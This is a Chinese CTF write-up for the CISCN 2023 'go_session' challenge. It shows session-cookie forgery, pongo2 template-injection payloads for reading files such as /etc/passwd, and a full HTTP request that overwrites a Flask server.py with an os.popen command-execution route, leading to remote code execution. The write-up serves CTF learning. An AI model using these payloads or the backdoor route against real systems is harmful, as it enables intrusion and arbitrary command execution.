当前位置: 首页 > news >正文

[CISCN 2023 初赛]go_session

[CISCN 2023 初赛]go_session

这题还挺有意思的,代码是基础的go的web框架gin,主要考查点是go的pongo模板的ssti以及对应的一些绕过,也顺带复习了一下flask的热加载(debug=true)

一、信息收集

其他师傅把这题的找漏洞思路都讲的很清楚了,这里就简单梳理一下

首先是go里面出现的flask函数,说明肯定要和flask结合起来考了,有用信息我写在注释里面了

func Flask(c *gin.Context) {session, err := store.Get(c.Request, "session-name") //sessions值为session-nameif err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values["name"] == nil {if err != nil {http.Error(c.Writer, "N0", http.StatusInternalServerError)return}}resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest")) //参数为name去请求http://127.0.0.1:5000/,请求方式就是直接拼接http://127.0.0.1:5000/{name的值}if err != nil {return}defer resp.Body.Close()body, _ := io.ReadAll(resp.Body)c.String(200, string(body))
}

这里有个知识点,就是http://node5.anna.nssctf.cn:27068/flask?name=这样实际请求是http://127.0.0.1:5000/{name的值}所以我们如果http://127.0.0.1:5000需要带什么参数去请求他,实际上我们的请求应该是http://node5.anna.nssctf.cn:27068/flask?name=?name=1,这样的请求就为http://127.0.0.1:5000?name=1

其次就是admin函数,我们需要突破sessionskey的限制才能进行后续的ssti操作

func Admin(c *gin.Context) {session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values["name"] != "admin" { //需要我们知道key是什么才行,然后伪造sessions,现在网上我没找到对应的暴力破解工具,有没有师傅能分享的http.Error(c.Writer, "N0", http.StatusInternalServerError)return}name := c.DefaultQuery("name", "ssti") //我们需要传参数是namexssWaf := html.EscapeString(name) //html过滤," < 这种类似的符号都会被过滤,会影响ssti注入tpl, err := pongo2.FromString("Hello " + xssWaf + "!") //明显的ssti,模板是pongo2if err != nil {panic(err)}out, err := tpl.Execute(pongo2.Context{"c": c})if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}c.String(200, out)
}

暂时信息就这样,我们比较好奇http://127.0.0.1:5000/内容到底是什么,我们去请求试试看看http://node5.anna.nssctf.cn:27068/flask?name=

回显了一个txt文件,应该是出题人就那么设计的,里面是报错信息的html,我们把txt保存到本地然后把后缀改为html就能看到原始整洁的报错信息了,得到/app/server.py源码

from flask import *
app = Flask(__name__)@app.route('/')
def index():name = request.args['name']return name + " no ssti"if __name__== "__main__":app.run(host="0.0.0.0",port=5000,debug=True)

debug=true说明我们之后如果修改文件也能正确执行,我们又多了一条复写的路子

二、伪造session

回头来我们首先还是要先克服session.Values["name"] != "admin"的问题,因为本题唯一的注入点就是pongos的ssti了,这一步网上普遍的思路都是假设key为空,然后本地搭建环境获取sessions的伪造值,我应该自己想是想不到还有这一手的,下面主要复现一下这个本地启动go环境的操作

  • 1.下载go的环境,这个网上资料多就不说了

  • 2.在if session.Values["name"] != "admin" {这一行上加

session.Values["name"] = "admin"
if err := session.Save(c.Request, c.Writer); err != nil {//关键点,需要用save手动保存http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return
}

这样就能获得key为空时的正确sessions值了

  • 3.在源码目录下依次运行go env -w GOPROXY=https://goproxy.io,direct(设置代理),````go run main.go```(运行go程序)

  • 4.访问本地sessions端口,在cookies里面找到伪造后的session-name即可

  • 5.用伪造的sessions发包,出现hello,ssti就代表成功了

三、SSTI

之后我们就能利用name参数去注入了,https://dummykitty.github.io/posts/Go-pongo-%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/#%E5%8F%82%E8%80%83这个师傅的文章把一些利用手法给讲的挺全了

主要的难点就是绕过xssWaf := html.EscapeString(name),我们实际在测试的时候主要遇到的问题就是引号绕不过去,下面我总结一下上面那个师傅的博客的一些技巧,具体原理可以看他的博客

任意文件读:?name={%25%20include%20c.Request.Header.Aaa[0]%20%25}并且在请求头中加上aaa: /etc/passwd即可,但问题是我们不知道flag在哪

任意文件写:还记得之前的server.py开启了热加载吗?那不是我们复写了他的内容就能构造rce出来了吗?这里我们用的是这位师傅的方法,原理也可以参考他的博客,下面的报文host改掉就能用了https://blog.csdn.net/m0_73512445/article/details/134261219

GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}} HTTP/1.1
Host: node5.anna.nssctf.cn:25286
Referer: /app/server.py
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8ALIn5Z2C3VlBqND
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session-name=MTc1NDIwNDMzOHxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXyLpkPZ0f5BZbPbDA373gcvF1ulf_rxrelMPLEcenvohw==
Upgrade-Insecure-Requests: 1
Content-Length: 431------WebKitFormBoundary8ALIn5Z2C3VlBqND
Content-Disposition: form-data; name="n"; filename="1.py"
Content-Type: text/plainfrom flask import *
import os
app = Flask(__name__)@app.route('/')
def index():name = request.args['name']file=os.popen(name).read()return fileif __name__ == "__main__":app.run(host="0.0.0.0", port=5000, debug=True)
------WebKitFormBoundary8ALIn5Z2C3VlBqND--

如果成果的话会回显hello,

四、RCE

接下来在flask路由下用flask?name=?name=xxx即可rce了,本题flag在环境变量里面,所以命令是flask?name=?name=env

http://www.dtcms.com/a/313533.html

相关文章:

  • 第十章:如何真正使用Java操作redis
  • VUE-第二季-01
  • Day 30:模块和库的导入
  • Git 常用命令指南:从入门到高效开发
  • 数据结构之链表
  • sublime text2配置
  • 设备维护计划制定指南:基于数据驱动的全流程技术实现
  • 接口测试用例的编写
  • solidworks打开step报【警告!可用的窗口资源极低】的解决方法
  • Kubernetes中ingress,egress,slb等概念的含义
  • 电路设计(电容)设计细节
  • 【华为OD机试】从小桶里取球
  • 嵌入式分享合集13
  • io_destroy系统调用及示例
  • 【AI】文档理解
  • 关于assert()函数,eval()函数,include
  • Java中手动床架一个线程池
  • 【OD机试题解法笔记】文件缓存系统
  • 第 10 篇:深度学习的“军火库”——CNN、RNN与Transformer,AI如何看懂世界?
  • pod的创建流程
  • [Linux入门] 从 iptables 到 nftables:初学者入门指南
  • 大数据之路:阿里巴巴大数据实践——元数据与计算管理
  • 【分析学】Hilbert 空间的分离性
  • 分布式事务Seata AT模式设计分析篇
  • 41.安卓逆向2-frida hook技术-过firda检测(五)-利用ida分析app的so文件中frida检测函数过检测
  • 关于Manus AI与多语言手写识别的技术
  • Linux驱动学习(六)一些函数
  • 【canvas】
  • 从WebShell 与 ShellCode 免杀技术 打造适合自己的免杀技术链
  • 设计模式 - 组合模式:用树形结构处理对象之间的复杂关系